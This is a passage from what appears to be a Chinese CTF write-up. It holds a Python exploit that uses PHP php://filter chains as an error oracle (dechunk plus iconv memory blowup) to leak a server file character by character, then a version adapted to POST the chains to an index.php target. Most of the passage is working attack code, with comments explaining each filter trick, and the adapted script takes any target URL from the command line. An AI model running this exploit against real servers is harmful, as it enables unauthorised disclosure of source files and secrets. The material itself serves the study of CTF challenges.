如果 base64 结果末尾存在等号,重复应用 `convert.quoted-printable-encode`
才会持续额外消耗内存,所以这里也可以把它当成一个预言机。
如果双重 base64 后末尾不是两个等号,就继续用 `convert.iconv..CSISO2022KR`
在开头补垃圾数据,直到满足条件为止。
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# 先测出触发内存爆炸所需的基准次数
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
payload = join(*[blow_up_utf32]*n)
if req(f'{header}|{payload}'):
baseline_blowup = n
break
else:
err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
err('something wrong')
if j[0] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
header = f'convert.base64-encode|convert.base64-encode'
else:
err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
步骤 2:
此时我们已经把目标变成了如下形式:
[若干个 a-zA-Z0-9 字符]==

真正麻烦的部分从这里开始。我一开始想找一种办法,能够不断从字符串开头剥掉字符,
这样就能依次访问所有位置。也许确实存在这种方法,但我没找到。
后来在尝试各种过滤器组合时发现,有些过滤器会“交换”字符位置:

`convert.iconv.CSUNICODE.UCS-2BE`,这里记作 `r2`,
会把字符串中每两个字符翻转一次:
`abcdefgh -> badcfehg`

`convert.iconv.UCS-4LE.10646-1:1993`,这里记作 `r4`,
会把每 4 个字符作为一组进行反转:
`abcdefgh -> dcbahgfe`

这样我们就能访问前 4 个字符了。还能更进一步吗?答案是可以。
`convert.iconv.CSUNICODE.CSUNICODE` 会在字符串开头附加 `<0xff><0xfe>`:

`abcdefgh -> <0xff><0xfe>abcdefgh`

然后再配合 `r4`,就会变成类似:
`ba<0xfe><0xff>fedc`

接着执行一次 `convert.base64-decode|convert.base64-encode`,
无效的高字节 `<0xfe><0xff>` 会被消掉,得到:
`bafedc`

再执行一次 `r4`,原本第 5 和第 6 位的 `f`、`e` 就被换到前面了。

唯一的问题在于:`r4` 要求字符串长度必须是 4 的倍数。
原始 base64 字符串天然满足这个条件,但一旦加上
`convert.iconv.CSUNICODE.CSUNICODE` 产生的两个额外字节,就不满足了。
这就是为什么步骤 1 必须强制末尾为 `==`。

因为如果先应用:
`convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7`

那么 `==` 会被变成:
`+---AD0-3D3D+---AD0-3D3D`

这很关键,因为这样一来,再经过 `convert.iconv.CSUNICODE.CSUNICODE`
之后,整体长度又会被修正到刚好是 4 的倍数。

简单回顾一下,假设字符串是:
`abcdefghij==`

先做 `convert.quoted-printable-encode + convert.iconv.L1.utf7`:
`abcdefghij+---AD0-3D3D+---AD0-3D3D`

再做 `convert.iconv.CSUNICODE.CSUNICODE`:
`<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D`

再做 `r4`:
`ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3`

再做 `base64-decode | base64-encode`,去掉 `-` 和高字节:
`bafedcjihg+0DAD3D3+0DAD3Dw==`

最后再做一次 `r4`:
`efabijcd0+gh3DAD0+3D3DAD==wD`

此时不仅能访问原本第 5 和第 6 个字符,而且字符串里依然保留了两个等号,
因此这套技巧可以反复使用,直到把整段内容全部泄露出来。
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
global flip, r2, r4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(r4)
o.extend([flip, r4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
return join(*o)

"""
步骤 3:
这是整段脚本里最长、但实际上最好理解的一部分。
我们已经可以用 `dechunk` 这个预言机判断首字符是否属于 `0-9A-Fa-f`,
所以剩下的问题只是继续寻找合适的过滤器,把别的字符也映射到这个集合里,
从而逐步识别当前首字符。
`rot13` 和 `string.tolower` 在这里很有帮助。
这种做法理论上有很多种,我这里是直接暴力枚举了一大批 `iconv` 组合筛出来的。

数字会更麻烦一些,因为 `iconv` 往往不会直接改动数字字符。
在 CTF 实战里,拿到字母信息后很多时候就能靠猜测补出来;
但如果想完整泄露全部内容,可以再做第三次 base64 编码,
利用结果前两个字符进一步区分具体是哪一个数字。
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
if not req(f'{prefix}|dechunk|{blow_up_inf}'):
# a-f A-F 0-9
if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# f
return 'f'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
# n-s N-S
if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# s
return 's'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# i j k
if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'k'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'j'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'i'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# I J K
if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'K'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'J'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'I'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# v w x
if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'x'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'w'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'v'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# V W X
if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'X'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'W'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'V'
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# Z
return 'Z'
elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# z
return 'z'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# M
return 'M'
elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# y
return 'y'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# Y
return 'Y'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# l
return 'l'
elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# L
return 'L'
elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# h
return 'h'
elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# H
return 'H'
elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# u
return 'u'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# g
return 'g'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# G
return 'G'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# t
return 't'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# T
return 'T'
else:
err('something wrong')

print()
for i in range(100):
prefix = f'{header}|{get_nth(i)}'
letter = find_letter(prefix)
# 如果命中数字分支,就额外做一次 base64 来继续细分
if letter == '*':
prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({ss})')
elif s == 'N':
# 4 - 7
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({ss})')
elif s == 'O':
# 8 - 9
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({ss})')
else:
err('wtf')

print(end=letter)
o += letter
sys.stdout.flush()

"""
到这里就结束了。
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# 去掉 CSISO2022KR 带来的填充残留
d = d.replace(b'$)C',b'')
print(b64decode(d))

修改点后如下,主要是由于在执行imagesize之前会highlight,所以要将判断改为是否出现结尾:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
import requests
import sys
from base64 import b64decode

# ==== 修改点 1:新增题目相关配置 ====
# 原脚本把目标和请求地址写死在别的题目里;
# 这里改成从命令行读取,默认直接打本题的 index.php,并读取 dawn.php。
BASE_URL = sys.argv[2] if len(sys.argv) > 2 else 'http://127.0.0.1:8000/'
TARGET_RESOURCE = sys.argv[1] if len(sys.argv) > 1 else 'dawn.php'
MAX_CHARS = int(sys.argv[3]) if len(sys.argv) > 3 else 100
TAIL_MARKER = '</html>'
SESSION = requests.Session()
SESSION.trust_env = False

"""
核心思路:
把 PHP 的内存限制当成一个报错预言机。重复应用 `convert.iconv.L1.UCS-4LE`
会让字符串长度每次膨胀为原来的 4 倍,因此只要输入非空,很快就会触发 500 错误。
于是我们就得到了一个“字符串是否为空”的判定器。

核心思路 2:
`dechunk` 过滤器很关键。
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
它原本看起来像是为 HTTP 相关场景实现的,但这里更重要的行为是:
如果字符串中没有换行,那么当且仅当字符串以 `A-Fa-f0-9` 开头时,
它会把整个字符串清空;否则保持原样。
这和上面的报错预言机可以完美配合。比如已知 flag 以 `D` 开头时,下面这条过滤链:

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

就不会触发 500 错误。

剩余任务:
现在我们已经能判断首字符是否属于 `A-Fa-f0-9`。
接下来真正困难的部分是:
- 想办法把不是首位的字符“搬运”到前面
- 更精确地判断当前首位到底是哪一个字符
"""

def join(*x):
return '|'.join(x)

def err(s):
print(s)
raise ValueError

# ==== 修改点 2:重写请求函数 req() ====
# 原脚本请求的是另一题的利用入口,并依赖 HTTP 500 作为 oracle。
# 本题改为向 index.php 发送 POST[f],让 getimagesize() 处理 php://filter 包装后的目标文件。
# 另外,本题 index.php 在 getimagesize() 之前已经输出了高亮源码,所以 fatal 不一定表现为 500,
# 因此这里改成通过“响应尾部 HTML 是否还完整存在”来判断是否命中 oracle。
# 通过向 index.php 发送 POST[f],让 getimagesize() 去读取 php://filter 包装后的目标文件。
# 这个题里 index.php 会先输出自身高亮代码,因此 fatal 不一定体现为 500。
# 更稳定的判定方式是:如果响应尾部的 HTML 标记消失,说明执行在 getimagesize() 处提前中断了。
def req(s):
data = {'f': f'php://filter/{s}/resource={TARGET_RESOURCE}'}
try:
resp = SESSION.post(BASE_URL, data=data, timeout=15)
except requests.RequestException:
return True
return TAIL_MARKER not in resp.text

"""
步骤 1:
后面的利用只在两个条件同时满足时才能正常工作:
- 字符串只能包含 `a-zA-Z0-9`
- 字符串末尾必须是两个等号 `==`

对 flag 文件做两次 base64 编码可以满足第一个条件。

但我们并不知道 flag 文件的长度,因此不能保证结果一定以 `==` 结尾。

如果 base64 结果末尾存在等号,重复应用 `convert.quoted-printable-encode`
才会持续额外消耗内存,所以这里也可以把它当成一个预言机。
如果双重 base64 后末尾不是两个等号,就继续用 `convert.iconv..CSISO2022KR`
在开头补垃圾数据,直到满足条件为止。
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# 先测出触发内存爆炸所需的基准次数
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
payload = join(*[blow_up_utf32]*n)
probe = f'{header}|{payload}' if payload else header
if req(probe):
baseline_blowup = n
break
else:
err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

probe = f'{header}|{trailer}' if trailer else header
assert req(probe) == False

print('detecting equals')
j = [
req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
err('something wrong')
if j[0] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
header = f'convert.base64-encode|convert.base64-encode'
else:
err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
步骤 2:
此时我们已经把目标变成了如下形式:
[若干个 a-zA-Z0-9 字符]==

真正麻烦的部分从这里开始。我一开始想找一种办法,能够不断从字符串开头剥掉字符,
这样就能依次访问所有位置。也许确实存在这种方法,但我没找到。
后来在尝试各种过滤器组合时发现,有些过滤器会“交换”字符位置:

`convert.iconv.CSUNICODE.UCS-2BE`,这里记作 `r2`,
会把字符串中每两个字符翻转一次:
`abcdefgh -> badcfehg`

`convert.iconv.UCS-4LE.10646-1:1993`,这里记作 `r4`,
会把每 4 个字符作为一组进行反转:
`abcdefgh -> dcbahgfe`

这样我们就能访问前 4 个字符了。还能更进一步吗?答案是可以。
`convert.iconv.CSUNICODE.CSUNICODE` 会在字符串开头附加 `<0xff><0xfe>`:

`abcdefgh -> <0xff><0xfe>abcdefgh`

然后再配合 `r4`,就会变成类似:
`ba<0xfe><0xff>fedc`

接着执行一次 `convert.base64-decode|convert.base64-encode`,
无效的高字节 `<0xfe><0xff>` 会被消掉,得到:
`bafedc`

再执行一次 `r4`,原本第 5 和第 6 位的 `f`、`e` 就被换到前面了。

唯一的问题在于:`r4` 要求字符串长度必须是 4 的倍数。
原始 base64 字符串天然满足这个条件,但一旦加上
`convert.iconv.CSUNICODE.CSUNICODE` 产生的两个额外字节,就不满足了。
这就是为什么步骤 1 必须强制末尾为 `==`。

因为如果先应用:
`convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7`

那么 `==` 会被变成:
`+---AD0-3D3D+---AD0-3D3D`

这很关键,因为这样一来,再经过 `convert.iconv.CSUNICODE.CSUNICODE`
之后,整体长度又会被修正到刚好是 4 的倍数。

简单回顾一下,假设字符串是:
`abcdefghij==`

先做 `convert.quoted-printable-encode + convert.iconv.L1.utf7`:
`abcdefghij+---AD0-3D3D+---AD0-3D3D`

再做 `convert.iconv.CSUNICODE.CSUNICODE`:
`<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D`

再做 `r4`:
`ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3`

再做 `base64-decode | base64-encode`,去掉 `-` 和高字节:
`bafedcjihg+0DAD3D3+0DAD3Dw==`

最后再做一次 `r4`:
`efabijcd0+gh3DAD0+3D3DAD==wD`

此时不仅能访问原本第 5 和第 6 个字符,而且字符串里依然保留了两个等号,
因此这套技巧可以反复使用,直到把整段内容全部泄露出来。
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
global flip, r2, r4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(r4)
o.extend([flip, r4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
return join(*o)

"""
步骤 3:
这是整段脚本里最长、但实际上最好理解的一部分。
我们已经可以用 `dechunk` 这个预言机判断首字符是否属于 `0-9A-Fa-f`,
所以剩下的问题只是继续寻找合适的过滤器,把别的字符也映射到这个集合里,
从而逐步识别当前首字符。
`rot13` 和 `string.tolower` 在这里很有帮助。
这种做法理论上有很多种,我这里是直接暴力枚举了一大批 `iconv` 组合筛出来的。

数字会更麻烦一些,因为 `iconv` 往往不会直接改动数字字符。
在 CTF 实战里,拿到字母信息后很多时候就能靠猜测补出来;
但如果想完整泄露全部内容,可以再做第三次 base64 编码,
利用结果前两个字符进一步区分具体是哪一个数字。
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
if not req(f'{prefix}|dechunk|{blow_up_inf}'):
# 首字符属于 a-f、A-F 或 0-9
if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# f
return 'f'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
# 首字符属于 n-s 或 N-S
if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# s
return 's'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# i、j、k
if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'k'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'j'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'i'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# I、J、K
if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'K'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'J'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'I'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# v、w、x
if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'x'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'w'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'v'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# V、W、X
if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'X'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'W'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'V'
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# Z
return 'Z'
elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# z
return 'z'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# M
return 'M'
elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# y
return 'y'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# Y
return 'Y'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# l
return 'l'
elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# L
return 'L'
elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# h
return 'h'
elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# H
return 'H'
elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# u
return 'u'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# g
return 'g'
